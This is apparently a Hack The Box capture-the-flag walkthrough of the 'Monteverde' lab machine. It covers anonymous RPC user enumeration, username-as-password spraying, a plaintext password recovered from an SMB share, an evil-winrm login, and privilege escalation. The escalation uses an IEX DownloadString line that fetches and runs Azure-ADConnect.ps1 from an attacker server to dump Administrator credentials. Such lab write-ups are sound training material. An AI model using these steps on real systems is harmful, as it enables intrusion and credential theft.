Summary:
- Find credentials for user account over
msrpc
. - Use credentials to enumerate SMB to discover more credentials.
- Exploit loose user permissions to dump Administrator credentials using Azure-ADConnect
Setup:
Add the box IP to our /etc/hosts
file.
$ printf "10.10.10.172\tmonteverde.htb\n" >> /etc/hosts
Enumeration:
Perform detailed portscan on the lower ports of cascade.htb
using nmap
to gather information on any exposed services. Then, perform a less resolute portscan to identify any open higher ports.
$ sudo nmap -sC -sV monteverde.htb -oA nmap/initial; sleep 300 && \ sudo nmap -p- -sS monteverde.htb -oA nmap/all-ports $ cat nmap/initial.nmap # Nmap 7.80 scan initiated Mon Apr 6 16:05:13 2020 as: nmap -Pn -sC -sV -oA nmap/initial monteverde.htb Nmap scan report for monteverde.htb (10.10.10.172) Host is up (0.041s latency). Not shown: 989 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-06 14:27:52Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=4/6%Time=5E8B453B%P=x86_64-unknown-linux-gnu%r( SF:DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07vers SF:ion\x04bind\0\0\x10\0\x03"); Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: -37m34s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-04-06T14:30:13 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Apr 6 16:09:57 2020 -- 1 IP address (1 host up) scanned in 283.52 seconds
Kerberos stands out as an exploitable service for later. If we look at the LDAP services, the box has MEGABANK.LOCAL0
as its FQDN, we add this to our hosts file along with monteverde.htb
. Before we can interact with kerberos, we need to enumerate user accounts. A common theme is unsecured msrpc
which allows us to anonymously connect and dump user account information.
$ rpcclient //monteverde.htb -U "" -N Unable to initialize messaging context rpcclient $> enumdomusers user:[Guest] rid:[0x1f5] user:[AAD_987d7f2f57d2] rid:[0x450] user:[mhope] rid:[0x641] user:[SABatchJobs] rid:[0xa2a] user:[svc-ata] rid:[0xa2b] user:[svc-bexec] rid:[0xa2c] user:[svc-netapp] rid:[0xa2d] user:[dgalanos] rid:[0xa35] user:[roleary] rid:[0xa36] user:[smorgan] rid:[0xa37]
User:
If we try the username as the password for each user we have success with SABatchJobs
. Next, we enumerate SMB as an authenticated user.
$ python smbmap.py -H monteverde.htb -u SABatchJobs -p SABatchJobs [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.172... [+] IP: 10.10.10.172:445 Name: monteverde.htb Disk Permissions Comment ---- ----------- ------- ... . dr--r--r-- 0 Fri Jan 3 13:12:48 2020 . dr--r--r-- 0 Fri Jan 3 13:12:48 2020 .. dr--r--r-- 0 Fri Jan 3 13:15:23 2020 dgalanos dr--r--r-- 0 Fri Jan 3 13:41:18 2020 mhope dr--r--r-- 0 Fri Jan 3 13:14:56 2020 roleary dr--r--r-- 0 Fri Jan 3 13:14:28 2020 smorgan users$ READ ONLY
After inspecting each folder we find what appears to be a config file.
smb: \mhope\> dir . D 0 Fri Jan 3 13:41:18 2020 .. D 0 Fri Jan 3 13:41:18 2020 azure.xml AR 1212 Fri Jan 3 13:40:23 2020 524031 blocks of size 4096. 519955 blocks available
Downloading this locally and opening we discover a password for mhope.
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T> <T>System.Object</T> </TN> <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString> <Props> <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT> <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT> <G N="KeyId">00000000-0000-0000-0000-000000000000</G> <S N="Password">4n0therD4y@n0th3r$</S> </Props> </Obj> </Objs>
We can now logon to the box using evil-winrm
over wsman
then collect our flag.
$ evil-winrm -P 5985 -u mhope -p "4n0therD4y@n0th3r$" -i monteverde.htb Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\mhope\Documents> dir ../Desktop/user.txt Directory: C:\Users\mhope\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/3/2020 5:48 AM 32 user.txt
Root: We look at the groups mhope is in to look for loose permissions.
*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope User name mhope Full Name Mike Hope Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 1/2/2020 4:40:05 PM Password expires Never Password changeable 1/3/2020 4:40:05 PM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory \\monteverde\users$\mhope Last logon 4/22/2020 4:18:30 AM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Azure Admins *Domain Users The command completed successfully.
We see mhope is a member of Azure Admins
, some searching leads us to Azure-ADConnect.ps1. The HTB VPN doesn’t allow external connections so we download theh script to our local machine then spawn a HTTP server.
$ wget "https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1" --2020-04-22 13:57:52-- https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1 Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.60.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.60.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 2264 (2.2K) [text/plain] Saving to: ‘Azure-ADConnect.ps1’ Azure-ADConnect.ps1 100%[===========================================>] 2.21K --.-KB/s in 0s 2020-04-22 13:57:52 (25.9 MB/s) - ‘Azure-ADConnect.ps1’ saved [2264/2264] $ python -m http.server
Once downloaded we import the script on the remote machine then exploit.
*Evil-WinRM* PS C:\Users\mhope\Documents> IEX (New-Object Net.WebClient).DownloadString('http://10.10.XX.XX:8000/Azure-ADConnect.ps1'); *Evil-WinRM* PS C:\Users\mhope\Documents> Azure-ADConnect -server 127.0.0.1 -db ADSync [+] Domain: MEGABANK.LOCAL [+] Username: administrator [+]Password: d0m@in4dminyeah!
We now have the Administrator credentials which we can use to connect to the box then read root.txt
.
$ evil-winrm -P 5985 -u Administrator -p "d0m@in4dminyeah!" -i monteverde.htb Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> dir ../Desktop/root.txt Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/3/2020 5:48 AM 32 root.txt